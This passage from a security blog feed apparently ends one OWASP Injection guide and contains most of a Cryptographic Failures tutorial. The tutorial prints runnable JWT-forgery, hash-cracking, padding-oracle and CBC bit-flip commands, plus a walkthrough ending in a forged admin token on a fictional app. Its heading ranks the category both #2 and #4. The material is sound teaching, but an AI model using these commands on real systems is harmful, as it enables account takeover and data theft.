used?<br>What tables are accessible?<br>Is the account read-only?<br>Can sensitive records be accessed?<br>Can the application reach other internal services?</pre><p><strong>This turns:</strong></p><pre>&quot;SQLi exists&quot;</pre><p><strong>into:</strong></p><pre>&quot;Here is what SQLi can realistically achieve.&quot;</pre><h3>Step 7 — Automated Confirmation</h3><p><strong>In the lab:</strong></p><pre>sqlmap -u &quot;http://retailtrack.local/product?id=102&quot; --batch</pre><p>Automation can help validate the manual hypothesis and identify database behavior efficiently.</p><h3>Step 8 — Remediation</h3><p>Replace dynamic construction with parameter binding:</p><pre>query = &quot;SELECT * FROM products WHERE id = ?&quot;<br>cursor.execute(query, (product_id,))</pre><p>Now the value is handled as a parameter rather than SQL syntax.</p><h3>Step 9 — Retest</h3><p>Retest:</p><pre>original input<br>malformed input<br>unexpected types<br>encoded variants<br>alternative endpoints<br>related parameters</pre><p>The objective is not to prove that one payload stopped working. The objective is to prove that the <strong>underlying data flow is no longer injectable</strong>.</p><h3>14. Detection and SOC Perspective</h3><p>A mature security program should ask:</p><blockquote><strong><em>What evidence would this attack leave behind?</em></strong></blockquote><h4>Potential indicators include:</h4><pre>repeated malformed parameters<br>database errors<br>unusual HTTP 500 responses<br>response-time anomalies<br>repeated parameter variations<br>unexpected child processes<br>application-to-unusual-host connections<br>abnormal database activity</pre><h4><strong>Think in layers:</strong></h4><pre>WAF<br> ↓<br>Reverse Proxy<br> ↓<br>Web Server<br> ↓<br>Application<br> ↓<br>Database / Host<br> ↓<br>SIEM</pre><p>A single request may not look malicious. A sequence often does.</p><h4>For example:</h4><pre>GET /product?id=123<br>GET /product?id=124<br>GET /product?id=&lt;malformed&gt;<br>GET /product?id=&lt;encoded variant&gt;<br>GET /product?id=&lt;boolean-like variation&gt;</pre><p><strong>A SOC can correlate:</strong></p><pre>source IP<br>user<br>endpoint<br>parameter<br>response status<br>response size<br>timing<br>database errors<br>request frequency</pre><p>This is far stronger than relying on one WAF signature.</p><h3>15. Prevention and Hardening</h3><h3>The Primary Rule</h3><blockquote><strong><em>Separate data from instructions.</em></strong></blockquote><p>Everything else supports that goal.</p><h3>SQL</h3><ul><li>Use parameterized queries.</li><li>Avoid string concatenation.</li><li>Review raw SQL and dynamic stored procedures.</li><li>Use least-privilege database accounts.</li></ul><h3>Commands</h3><ul><li>Prefer dedicated APIs over shell execution.</li><li>Pass arguments separately.</li><li>Avoid dynamic command construction.</li><li>Restrict operating-system privileges.</li></ul><h3>NoSQL</h3><ul><li>Enforce JSON schemas.</li><li>Validate expected types.</li><li>Reject unexpected objects.</li><li>Do not blindly deserialize attacker-controlled structures into queries.</li></ul><h3>XSS</h3><ul><li>Use contextual output encoding.</li><li>Preserve framework auto-escaping.</li><li>Treat dangerous DOM APIs as security-sensitive.</li><li>Sanitize HTML only when HTML is actually required.</li><li>Use Content Security Policy as defense in depth.</li></ul><h3>Templates / Expressions</h3><ul><li>Keep templates trusted.</li><li>Treat user content as data.</li><li>Restrict template capabilities.</li><li>Avoid dynamic evaluation.</li></ul><h3>Architecture</h3><ul><li>Apply least privilege.</li><li>Segment sensitive services.</li><li>Restrict application-to-database connectivity.</li><li>Monitor suspicious interpreter activity.</li><li>Test security controls in CI/CD.</li></ul><p>[Certain] OWASP specifically recommends combining source-code review, automated testing and fuzzing, and recommends SAST, DAST and IAST as useful mechanisms for detecting Injection before production.</p><h3>16. Writing a Professional Injection Finding</h3><p>A good pentest finding answers five questions:</p><pre>What is vulnerable?<br>Why is it vulnerable?<br>How was it verified?<br>What can an attacker achieve?<br>How should it be fixed?</pre><h4><strong>Example:</strong></h4><h3>SQL Injection in /product?id</h3><pre>Severity:<br>High</pre><pre>Affected Endpoint:<br>GET /product?id</pre><pre>Parameter:<br>id</pre><pre><strong><em>Root Cause:</em></strong><br>The application concatenates attacker-controlled input into a dynamic SQL query.</pre><pre><strong><em>Evidence:</em></strong><br>Controlled input changed query behavior and altered the returned dataset.</pre><pre><strong><em>Impact:<br></em></strong>An attacker may manipulate database queries and potentially access records outside the intended object.</pre><pre><strong><em>Business Impact:<br></em></strong>Unauthorized access to customer or operational data, depending on database privileges.</pre><pre><strong><em>Remediation:</em></strong><br>Use parameterized queries and enforce server-side input types.</pre><pre><strong><em>Retest:</em></strong><br>Verify that the same input remains data and cannot influence SQL syntax.</pre><h4>The professional workflow is:</h4><pre>Finding<br>   ↓<br>Evidence<br>   ↓<br>Root Cause<br>   ↓<br>Impact<br>   ↓<br>Remediation<br>   ↓<br>Retest</pre><p>That is much more valuable than simply writing:</p><blockquote><em>“SQLi found. Critical.”</em></blockquote><h3>17. CWE Mapping</h3><p>A05:2025 maps to <strong>37 CWEs</strong>. The table below highlights several of the most useful mappings for application-security work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZbKSfMjWjOXi6ox9wzeZbw.png" /></figure><p>These are only a subset of the complete A05 mapping.</p><h3>18. Final Thoughts</h3><p>Injection looks simple when reduced to a payload. It becomes much more interesting when you look at the architecture behind it.</p><p>The real problem is:</p><pre>Attacker-Controlled Data<br>          ↓<br>Application Trusts It<br>          ↓<br>Interpreter Receives It<br>          ↓<br>Data Influences Syntax<br>          ↓<br>Unexpected Behavior</pre><p>That pattern appears in:</p><pre>SQL<br>NoSQL<br>OS commands<br>LDAP<br>XPath<br>Templates<br>Expression engines<br>Browsers</pre><p>And that is why Injection remains relevant even after decades of secure-development frameworks, ORMs, APIs and cloud platforms.</p><p>The technology evolves. The trust-boundary mistake does not.</p><h4>For a beginner:</h4><blockquote><strong><em>Learn to distinguish data from instructions.</em></strong></blockquote><h4>For a developer:</h4><blockquote><strong><em>Use parameterized, context-aware interfaces instead of concatenating untrusted data into interpreter syntax.</em></strong></blockquote><h4>For a pentester:</h4><blockquote><strong><em>Trace the source, identify the sink, determine the interpreter and prove the behavior.</em></strong></blockquote><h4>For a red teamer:</h4><blockquote><strong><em>Ask whether the Injection can become an attack path.</em></strong></blockquote><p>That means understanding:</p><pre>What privilege does the application have?</pre><pre>What data can it reach?</pre><pre>What systems can it communicate with?</pre><pre>What telemetry will the attack generate?</pre><pre>Would the SOC detect it?</pre><pre>Does the same unsafe pattern exist elsewhere?</pre><pre>Can the vulnerability be reproduced after remediation?</pre><p>That is the difference between finding a bug and understanding the security consequence of the bug. <strong>Injection is old. The attack surface is not.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5DcQi1ahzNu1QjW2Rq6wEg.png" /></figure><p>OWASP Top 10 2025, A05 Injection, Injection, SQL Injection, SQLi, Blind SQL Injection, NoSQL Injection, Command Injection, Argument Injection, ORM Injection, LDAP Injection, XPath Injection, SSTI, XSS, CRLF Injection, Burp Suite, SQLMap, Red Team, Penetration Testing, Web Security, Application Security</p><h3>White Panther :</h3><p>Follow for More : <a href="https://www.instagram.com/intelithics">Intelithics</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9bfe2e1d994c" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/part-6-owasp-a05-2025-injection-the-complete-guide-from-beginner-to-advanced-9bfe2e1d994c">Part 6— OWASP A05:2025: Injection The Complete Guide — From Beginner to Advanced</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Part 5 OWASP A04:2025: Cryptographic Failures The Complete Guide — From Beginner to Advanced]]></title>
            <link>https://systemweakness.com/part-5-owasp-a04-2025-cryptographic-failures-the-complete-guide-from-beginner-to-advanced-b75be19e811b?source=rss-1d4bcfe23d96------2</link>
            <guid isPermaLink="false">https://medium.com/p/b75be19e811b</guid>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[cryptographic]]></category>
            <dc:creator><![CDATA[Intelithics]]></dc:creator>
            <pubDate>Tue, 01 Sep 2026 02:24:48 GMT</pubDate>
            <atom:updated>2026-09-04T07:33:51.775Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>“The lock on your front door doesn’t matter if it’s made of cardboard. That’s what bad cryptography looks like — it feels secure, but it isn’t.”</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/0*1ey32kvdHZFuiNsF" /></figure><h3>Table of Contents</h3><ol><li>What Are Cryptographic Failures, Really?</li><li>Why This Is #2 on OWASP’s List</li><li>Cryptography 101 — What You Need to Know First</li><li>How Cryptography Breaks (And Why)</li><li>Tools Every Tester Needs</li><li>Finding Vulnerabilities — Beginner → Intermediate → Advanced</li><li>Real Attack Techniques with Examples</li><li>Real-World Breaches</li><li>The Full Attack Walkthrough</li><li>Hardening &amp; Defense Checklist</li><li>CWE Mapping</li><li>Final Thoughts</li></ol><h3>1. What Are Cryptographic Failures, Really?</h3><p>Imagine you write a private letter. You fold it, stuff it in an envelope, and seal it. Feels secure, right? Now imagine that envelope is made of thin tissue paper — anyone can hold it up to the light and read every word. The envelope exists. The sealing ritual happened. But the protection is fake.</p><p><strong>That’s cryptographic failure in a nutshell.</strong></p><p>These failures happen when an application tries to protect sensitive data — passwords, credit cards, health records, API keys — but does it wrong. The encryption is there. The hashing happens. But the implementation is flawed enough that an attacker who knows what to look for can read everything.</p><p>And from the outside? Everything looks fine. The padlock is in the browser. Users trust it. Developers think they’re safe.</p><h4>This category covers things like:</h4><ul><li><strong>Passwords stored as MD5 hashes</strong> — crackable in seconds on a laptop</li><li><strong>Credit card numbers sent over plain HTTP</strong> — readable by anyone on the same network</li><li><strong>AES used in ECB mode</strong> — making ciphertext as revealing as plaintext</li><li><strong>JWT tokens signed with “none”</strong> — no signature at all</li><li><strong>Hardcoded encryption keys in source code</strong> — anyone who reads the repo can decrypt everything</li><li><strong>Old TLS versions still running</strong> — vulnerable to attacks documented years ago</li></ul><blockquote><strong>None of these require breaking AES or RSA. The math is fine. The implementation is the problem — and implementation is entirely in human control</strong>.</blockquote><h3>2. Why This Is #4 on OWASP’s List</h3><p>In 2017 this was called “Sensitive Data Exposure.” By 2021, OWASP renamed it “Cryptographic Failures” to be specific about the root cause, and it moved up to #4.</p><p>The reason is simple: <strong>almost every serious breach involves sensitive data. And almost every sensitive data breach involves bad cryptography somewhere in the chain.</strong></p><ul><li>LinkedIn leaked 117 million passwords hashed with unsalted SHA-1 — cracked in bulk within days</li><li>Adobe leaked 153 million passwords encrypted with DES in ECB mode — patterns were visible without even cracking them</li><li>JWT libraries had vulnerabilities where alg:none was accepted — &quot;trust me, I&#39;m already verified&quot;</li></ul><p>OWASP’s 2025 analysis found this category has the highest CVE count after Injection. It’s not a niche problem. It’s everywhere, in production, right now.</p><h3>3. Cryptography 101 — What You Need to Know First</h3><p>You can’t find broken crypto if you don’t know what working crypto looks like. Here’s the minimum you need.</p><p><strong>Symmetric encryption —</strong> one key for both locking and unlocking. Fast, used for bulk data. AES-256 is the standard. If you’re storing customer data, this is what you should be using — specifically in GCM mode.</p><p><strong>Asymmetric encryption </strong>— two keys: a public key anyone can use to lock something, and a private key only you have to unlock it. Used for HTTPS handshakes and digital signing. RSA (2048+ bits) and ECC (Curve25519) are the standards.</p><p><strong>Hashing</strong> — a one-way street. Data goes in, a fixed-length fingerprint comes out. Can’t be reversed. Used for passwords. The problem: not all hashes are equal.</p><pre># Hash identification — memorize this:<br>32 hex chars    → MD5      → completely crackable, never use for passwords<br>40 hex chars    → SHA-1    → crackable, don&#39;t use for passwords<br>64 hex chars    → SHA-256  → fast, still crackable at scale for passwords<br>$2b$12$...      → bcrypt   → strong (if work factor ≥ 12)<br>$argon2id$...   → Argon2id → strongest — this is what you want</pre><p><strong>Salting</strong> — a random value added to a password before hashing. Without it, two users with “password123” produce identical hashes, making rainbow table attacks trivial. With a unique salt per user, identical passwords produce completely different hashes. Modern KDFs (Argon2id, bcrypt) handle salting automatically.</p><p><strong>TLS</strong> — what puts the “S” in HTTPS. Old versions (SSL, TLS 1.0, TLS 1.1) have known vulnerabilities. Minimum today is TLS 1.2. TLS 1.3 is preferred.</p><p><strong>JWT (JSON Web Token)</strong> — a signed token proving identity. Three base64 sections joined by dots:</p><pre>eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIn0.signature<br>[  HEADER (algorithm) ].[        PAYLOAD (claims)              ].[  SIG  ]</pre><p>The signing algorithm in the header matters enormously — as you’ll see.</p><h3>4. How Cryptography Breaks (And Why)</h3><p>Here are the failure modes you’ll actually encounter. Understanding these is what makes you useful as a tester.</p><p><strong>ECB Mode — Patterns Survive Encryption.</strong> AES-ECB encrypts every data block independently. Same plaintext block = same ciphertext block. Patterns in data remain visible. The famous “ECB Penguin” (the Linux mascot encrypted with ECB) still looks like a penguin. In real apps, ECB lets attackers distinguish between encrypted values, detect patterns in databases, and rearrange blocks to manipulate data. Never use ECB. Always AES-GCM.</p><p><strong>CBC Without Authentication — Bit-Flipping.</strong> CBC mode is better than ECB but it’s malleable. An attacker can flip specific bits in the ciphertext, and predictable bits flip in the decrypted plaintext. An encrypted cookie containing admin=false can become admin=true — without ever knowing the key. CBC provides confidentiality but not integrity. AES-GCM provides both, and rejects tampered ciphertext before decryption.</p><p><strong>Padding Oracle — Error Messages That Talk Too Much.</strong> When apps use CBC mode and return different errors for valid vs. invalid padding, an attacker can decrypt the entire ciphertext byte by byte — no key needed. They send modified ciphertext, observe the error responses, and use that binary signal to deduce plaintext. Tools like PadBuster automate this completely.</p><p><strong>Weak Password Storage.</strong> MD5 and SHA-1 are fast hashing algorithms — and “fast” is catastrophic for passwords. On a modern GPU, hashcat can try billions of MD5 hashes per second. A password that takes 0.0000001 seconds to check in MD5 would take years in Argon2id. That time difference is the entire defense.</p><p><strong>JWT Vulnerabilities.</strong> Two critical ones:</p><ul><li>alg:none — some libraries accept tokens with no signature at all. An attacker sets the algorithm to &quot;none,&quot; removes the signature, and the server accepts whatever payload they wrote.</li><li>Algorithm confusion — servers using RS256 (asymmetric) have a public key that’s, well, public. Vulnerable libraries, when switched to HS256 (symmetric), use that public key as the signing secret. The attacker knows the public key. They can sign anything.</li></ul><p><strong>Weak PRNG.</strong> Math.random(), rand(), random.random() — these are not cryptographically secure. They&#39;re deterministic and predictable. Session tokens, password reset links, CSRF tokens, and encryption IVs must use CSPRNGs: secrets in Python, crypto.randomBytes() in Node.js, SecureRandom in Java.</p><p><strong>Hardcoded Keys.</strong> The most common critical finding in code reviews.</p><pre># Found in real codebases on GitHub constantly:<br>SECRET_KEY = &quot;mysecretkey123&quot;<br>JWT_SECRET = &quot;changeme&quot;<br>ENCRYPTION_KEY = b&quot;1234567890123456&quot;</pre><p>A key in source code is in git history, in every developer’s local copy, in build artifacts, in backups. The encryption is non-existent because the key has no secrecy.</p><p><strong>TLS Misconfiguration.</strong> Even HTTPS can be broken if: old TLS versions are accepted (1.0, 1.1, SSLv3), weak ciphers are enabled (RC4, 3DES), HSTS isn’t set (allowing downgrade attacks), or certificate validation is disabled in client code.</p><h3>5. Tools Every Tester Needs</h3><p>Tool What It Does Level <strong>Burp Suite</strong> Intercept and inspect HTTP traffic, cookies, tokens Beginner <strong>jwt.io</strong> Decode and inspect JWTs in browser (no install) Beginner <strong>testssl.sh</strong> Full TLS audit — finds weak ciphers, vulnerabilities Beginner <strong>sslscan</strong> Quick cipher enumeration Beginner <strong>Hashcat</strong> GPU-accelerated hash cracking Intermediate <strong>jwt_tool</strong> JWT testing — alg:none, confusion, secret cracking Intermediate <strong>Trufflehog</strong> Finds hardcoded secrets in git repos and filesystems Intermediate <strong>Gitleaks</strong> Fast secret scanner, works as pre-commit hook Intermediate <strong>PadBuster</strong> Automates padding oracle attacks Advanced <strong>SSLyze</strong> Deep TLS analysis, good for automation Advanced <strong>OpenSSL CLI</strong> Manual cipher testing, certificate inspection Advanced</p><p><strong>Quick install commands:</strong></p><pre># testssl.sh<br>git clone https://github.com/drwetter/testssl.sh &amp;&amp; cd testssl.sh</pre><pre># hashcat<br>sudo apt install hashcat</pre><pre># jwt_tool<br>git clone <a href="https://github.com/ticarpi/jwt_tool">https://github.com/ticarpi/jwt_tool</a> &amp;&amp; pip3 install -r jwt_tool/requirements.txt</pre><pre># trufflehog<br>pip install trufflehog</pre><pre># gitleaks<br>brew install gitleaks  # macOS<br># Linux: download binary from <a href="https://github.com/gitleaks/gitleaks/releases">https://github.com/gitleaks/gitleaks/releases</a></pre><pre># sslyze<br>pip install sslyze</pre><pre># padbuster<br>sudo apt install padbuster</pre><h3>6. Finding Vulnerabilities — Beginner → Intermediate → Advanced</h3><h4>Beginner: Start Here — No Special Setup Needed</h4><p><strong>Check HTTPS and cookies:</strong></p><pre># Does HTTP redirect properly to HTTPS?<br>curl -I http://target.com<br># Look for: Location: https://target.com<br># If no redirect — HTTP is live. That&#39;s a finding.</pre><pre># Check cookie flags<br>curl -sI <a href="https://target.com/">https://target.com</a> | grep -i &quot;set-cookie&quot;<br># Good: Set-Cookie: session=abc; Path=/; HttpOnly; Secure; SameSite=Strict<br># Bad:  Set-Cookie: session=abc; Path=/   ← missing all three flags</pre><p><strong>Inspect JWTs:</strong></p><pre># Decode any eyJ... token (it&#39;s just base64)<br>echo &quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9&quot; | base64 -d<br># Output: {&quot;alg&quot;:&quot;HS256&quot;,&quot;typ&quot;:&quot;JWT&quot;}</pre><pre># If alg is &quot;none&quot; → critical<br># If alg is &quot;HS256&quot; → try cracking the secret<br># Always paste the full token at jwt.io to see all claims</pre><p><strong>Check security headers:</strong></p><pre>curl -sI https://target.com | grep -iE &quot;strict-transport|content-security|x-frame|x-content-type&quot;<br># Missing Strict-Transport-Security → HSTS not enforced → finding<br># Missing X-Frame-Options → clickjacking risk → finding</pre><h4>Intermediate: Going Deeper</h4><p><strong>TLS audit:</strong></p><pre># Full scan — shows all vulnerabilities in one output<br>./testssl.sh target.com</pre><pre># Grep for the important stuff<br>./testssl.sh target.com | grep -iE &quot;BEAST|POODLE|ROBOT|heartbleed|RC4|3DES|HSTS&quot;<br># &quot;not offered&quot; after HSTS = finding<br># &quot;VULNERABLE&quot; after anything = finding</pre><pre># Quick cipher check<br>sslscan --no-failed target.com | grep &quot;Accepted&quot;<br># Any RC4, 3DES, or export cipher = critical</pre><p><strong>JWT attacks:</strong></p><pre># Capture a valid token from the app via Burp Suite, then:<br>TOKEN=&quot;eyJhbGc...your.token.here&quot;</pre><pre># Test alg:none<br>python3 jwt_tool.py $TOKEN -X a<br># If the app accepts the returned token → critical vulnerability</pre><pre># Crack HS256 signing secret<br>echo $TOKEN &gt; jwt.txt<br>hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt<br># Mode 16500 = JWT HS256 — hashcat tries every word as the signing secret</pre><pre># Algorithm confusion (RS256 → HS256)<br>curl <a href="https://target.com/.well-known/jwks.json">https://target.com/.well-known/jwks.json</a>  # get public key<br>python3 jwt_tool.py $TOKEN -X k -pk server_public.pem</pre><p><strong>Hardcoded secrets:</strong></p><pre># Clone the repo and scan full git history<br>git clone https://github.com/target-company/target-app &amp;&amp; cd target-app<br>trufflehog git file://$(pwd)<br>gitleaks detect --source . --verbose</pre><pre># Manual grep for common patterns<br>grep -rn &quot;SECRET_KEY\|API_KEY\|JWT_SECRET\|ENCRYPTION_KEY\|password&quot; . \<br>  --include=&quot;*.py&quot; --include=&quot;*.js&quot; --include=&quot;*.env&quot; | grep -v &quot;.git&quot;</pre><pre># AWS keys specifically<br>grep -rn &quot;AKIA[0-9A-Z]\{16\}&quot; .</pre><pre># Private keys embedded in code<br>grep -rn &quot;BEGIN RSA PRIVATE KEY\|BEGIN PRIVATE KEY&quot; .</pre><p><strong>Exposed config files:</strong></p><pre>for file in .env .env.backup config.php settings.py secrets.yml database.yml; do<br>    CODE=$(curl -s -o /dev/null -w &quot;%{http_code}&quot; https://target.com/$file)<br>    [ &quot;$CODE&quot; == &quot;200&quot; ] &amp;&amp; echo &quot;EXPOSED: https://target.com/$file&quot;<br>done</pre><h4>Advanced: Full Crypto Assessment</h4><p><strong>Padding Oracle:</strong></p><pre># Signs it exists: base64/hex blobs in cookies/params, different errors for bad data vs bad padding</pre><pre># Automated decryption<br>ENCRYPTED=&quot;L3k1A9dEf2Gh...&quot;<br>padbuster &quot;https://target.com/page?data=$ENCRYPTED&quot; &quot;$ENCRYPTED&quot; 16 \<br>  -encoding 0 -cookies &quot;session=your_session&quot; -error &quot;Invalid padding&quot;</pre><pre># If decryption works, forge arbitrary plaintext<br>padbuster &quot;https://target.com/page?data=$ENCRYPTED&quot; &quot;$ENCRYPTED&quot; 16 \<br>  -encoding 0 -plaintext &quot;user=admin&amp;role=administrator&quot;</pre><p><strong>ECB Mode Detection:</strong></p><pre># Send repeated blocks and watch for repeated ciphertext<br>CIPHER1=$(curl -s &quot;https://target.com/encrypt?data=AAAAAAAAAAAAAAAA&quot; | jq -r &#39;.encrypted&#39;)<br>CIPHER2=$(curl -s &quot;https://target.com/encrypt?data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot; | jq -r &#39;.encrypted&#39;)</pre><pre>echo $CIPHER2 | fold -w 32<br># If blocks 1 and 2 are identical → ECB confirmed</pre><p><strong>CBC Bit-Flipping:</strong></p><pre>import base64</pre><pre>cookie = &quot;YourBase64EncryptedCookieHere&quot;<br>ciphertext = bytearray(base64.b64decode(cookie))</pre><pre># In CBC: flipping byte N of ciphertext[block-1] flips byte N of plaintext[block]<br># Known plaintext block: &quot;role=user&amp;user=j&quot;<br># Target:               &quot;role=admi&amp;user=j&quot;<br># Flip position 5: &#39;u&#39; XOR &#39;a&#39; = 0x14</pre><pre>ciphertext[5] ^= ord(&#39;u&#39;) ^ ord(&#39;a&#39;)<br>modified = base64.b64encode(bytes(ciphertext)).decode()<br>print(f&quot;Send this cookie: {modified}&quot;)<br># If accepted without error → no integrity check → bit-flip attack works</pre><p><strong>ROBOT (RSA Oracle):</strong></p><pre>./testssl.sh --robot target.com<br># Vulnerable = attacker can perform RSA operations without the private key</pre><h3>7. Real Attack Techniques with Examples</h3><h4>Cracking MD5 Password Hashes</h4><p>The most common post-SQL-injection scenario — you dump the users table and find MD5 hashes.</p><pre># Step 1: Identify the hash type<br># 32 hex chars = MD5. Check online first (instant for common passwords)<br># https://crackstation.net — paste hash, get plaintext in seconds</pre><pre># Step 2: For hashes not in online DBs — hashcat<br>echo &quot;5f4dcc3b5aa765d61d8327deb882cf99&quot; &gt; hashes.txt</pre><pre># Basic dictionary attack<br>hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt</pre><pre># With rules — catches Password1!, P@ssw0rd, etc.<br>hashcat -m 0 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule</pre><pre># Pattern attack — corporate passwords like &quot;Company2024!&quot;<br>hashcat -m 0 -a 3 hashes.txt ?u?l?l?l?l?d?d?d?s</pre><pre># Show results<br>hashcat -m 0 hashes.txt --show</pre><pre># Hash mode reference:<br># -m 0     → MD5<br># -m 100   → SHA-1<br># -m 1400  → SHA-256<br># -m 3200  → bcrypt<br># -m 16500 → JWT HS256</pre><h4>JWT Algorithm Confusion — Forge Any Token</h4><p>Real vulnerability. Real HackerOne reports. Real money.</p><pre># Scenario: App uses RS256. Public key is at /api/public-key.<br>TOKEN=&quot;eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInJvbGUiOiJ1c2VyIn0.SIG&quot;</pre><pre># Get the public key<br>curl <a href="https://target.com/.well-known/jwks.json">https://target.com/.well-known/jwks.json</a><br># or<br>curl <a href="https://target.com/api/public-key">https://target.com/api/public-key</a> &gt; server_public.pem</pre><pre># Algorithm confusion attack — signs with public key as HS256 secret<br>python3 jwt_tool.py $TOKEN -X k -pk server_public.pem</pre><pre># Add privilege escalation<br>python3 jwt_tool.py $TOKEN -X k -pk server_public.pem -I -pc role -pv administrator</pre><pre># Send forged token<br>curl -H &quot;Authorization: Bearer FORGED_TOKEN&quot; <a href="https://target.com/api/admin">https://target.com/api/admin</a></pre><h4>JWT alg:none — The Simplest Auth Bypass</h4><pre>TOKEN=&quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInJvbGUiOiJ1c2VyIn0.SIG&quot;</pre><pre># Automated<br>python3 jwt_tool.py $TOKEN -X a</pre><pre># Manual — craft token with no signature<br>HEADER=$(echo -n &#39;{&quot;alg&quot;:&quot;none&quot;,&quot;typ&quot;:&quot;JWT&quot;}&#39; | base64 | tr -d &#39;=&#39; | tr &#39;+/&#39; &#39;-_&#39;)<br>PAYLOAD=$(echo -n &#39;{&quot;userId&quot;:1,&quot;role&quot;:&quot;admin&quot;}&#39; | base64 | tr -d &#39;=&#39; | tr &#39;+/&#39; &#39;-_&#39;)<br>FORGED=&quot;$HEADER.$PAYLOAD.&quot;  # trailing dot, no signature</pre><pre>curl -H &quot;Authorization: Bearer $FORGED&quot; <a href="https://target.com/api/admin">https://target.com/api/admin</a><br># 200 OK → critical vulnerability</pre><h4>TLS Weakness Verification</h4><pre># Full automated audit<br>./testssl.sh target.com</pre><pre># Manual verify weak ciphers with OpenSSL<br>openssl s_client -connect target.com:443 -cipher RC4-SHA 2&gt;/dev/null | grep &quot;Cipher is&quot;<br># If it shows &quot;Cipher is RC4-SHA&quot; → server accepts RC4 → critical</pre><pre>openssl s_client -connect target.com:443 -tls1 2&gt;/dev/null | grep &quot;Protocol&quot;<br># If it shows &quot;TLSv1&quot; → TLS 1.0 accepted → finding</pre><pre># Certificate expiry check<br>openssl s_client -connect target.com:443 &lt;/dev/null 2&gt;/dev/null | openssl x509 -noout -dates</pre><h3>8. Real-World Breaches</h3><h4>LinkedIn — 117 Million Passwords (2012)</h4><p>LinkedIn hashed passwords with unsalted SHA-1. When the database was breached, attackers used rainbow tables to reverse billions of hashes within days. The breach wasn’t disclosed until 2016 — four years later — when the full dataset appeared on dark web markets.</p><p><strong>What went wrong:</strong> SHA-1 is fast, and “fast” means billions of guesses per second on modern GPUs. No salt meant rainbow tables worked perfectly. <strong>Fix:</strong> Argon2id or bcrypt with unique per-user salts.</p><h4>Adobe — 153 Million Records (2013)</h4><p>Adobe didn’t hash passwords. They encrypted them — with 3DES in ECB mode. ECB meant identical passwords produced identical ciphertexts. Attackers didn’t need to crack anything. They looked at the most frequent ciphertexts and knew those were common passwords. Combined with plaintext security hints stored alongside the encrypted passwords, researchers deduced millions of actual passwords without decrypting a single one.</p><p><strong>What went wrong:</strong> Encryption is not hashing. ECB mode preserves patterns. Plaintext hints. <strong>Fix:</strong> Hash with Argon2id. Never encrypt passwords.</p><h4>LastPass — Vault Breach (2022)</h4><p>Attackers stole encrypted password vault backups. The critical issue: older accounts used PBKDF2 with only 1 iteration instead of the recommended 310,000. Brute-forcing the master password was thousands of times faster than it should have been. For a password manager — whose entire product is keeping passwords safe — this was existential.</p><p><strong>What went wrong:</strong> Weak work factor on KDF made brute-force feasible. <strong>Fix:</strong> Work factor matters as much as algorithm choice. bcrypt cost ≥ 12, Argon2id memory ≥ 64MB.</p><h3>9. The Full Attack Walkthrough</h3><p><strong>Target: HealthTrack — a fitness and health tracking app</strong></p><p><strong>Step 1: TLS Recon</strong></p><pre>./testssl.sh healthtrack.com</pre><pre># Findings:<br># TLS 1.0    offered (deprecated)<br># RC4        VULNERABLE<br># HSTS       not offered</pre><p>Two findings before touching the application.</p><p><strong>Step 2: Capture and Decode the JWT</strong></p><p>Login as a test user. Burp Suite captures the response token.</p><pre>echo &quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9&quot; | base64 -d<br># {&quot;alg&quot;:&quot;HS256&quot;,&quot;typ&quot;:&quot;JWT&quot;}</pre><p>Payload decodes to {&quot;userId&quot;:123,&quot;role&quot;:&quot;user&quot;,&quot;email&quot;:&quot;test@gmail.com&quot;}.</p><p><strong>Step 3: Crack the JWT Signing Secret</strong></p><pre>echo &quot;$TOKEN&quot; &gt; jwt.txt<br>hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt</pre><pre># Cracked: healthtrack123</pre><p><strong>Step 4: Forge an Admin Token</strong></p><pre>python3 jwt_tool.py $TOKEN -S hs256 -p &quot;healthtrack123&quot; -I -pc role -pv admin<br># Output: forged admin token, signed with the cracked secret</pre><p><strong>Step 5: Access Admin API</strong></p><pre>curl -H &quot;Authorization: Bearer $ADMIN_TOKEN&quot; https://healthtrack.com/api/admin/users<br># 200 OK — 45,832 users&#39; health data exposed</pre><p><strong>Step 6: Find MD5 Hashes in the Admin Export</strong></p><pre>admin@healthtrack.com → 5f4dcc3b5aa765d61d8327deb882cf99<br>user1@example.com     → 827ccb0eea8a706c4c34a16891f84e7b</pre><pre>hashcat -m 0 hashes.txt rockyou.txt<br># 5f4dcc3b5aa765d61d8327deb882cf99:password<br># 827ccb0eea8a706c4c34a16891f84e7b:12345</pre><p><strong>The full failure chain:</strong></p><p>Step Failure Fix TLS 1.0 + RC4 active Old protocols enabled Disable TLS &lt; 1.2, remove RC4/3DES No HSTS Downgrade attacks possible Strict-Transport-Security: max-age=31536000 Weak JWT secret HS256 with guessable secret RS256 with 2048-bit key or 256-bit random secret Role in JWT payload Client-side privilege claim Server-side role lookup — never trust JWT claims for authz MD5 passwords, no salt Cracked instantly Argon2id with unique salt</p><h3>10. Hardening &amp; Defense Checklist</h3><p><strong>Transport</strong></p><ul><li>[ ] HTTPS enforced everywhere — no HTTP active anywhere</li><li>[ ] TLS 1.3 enabled, TLS 1.2 minimum 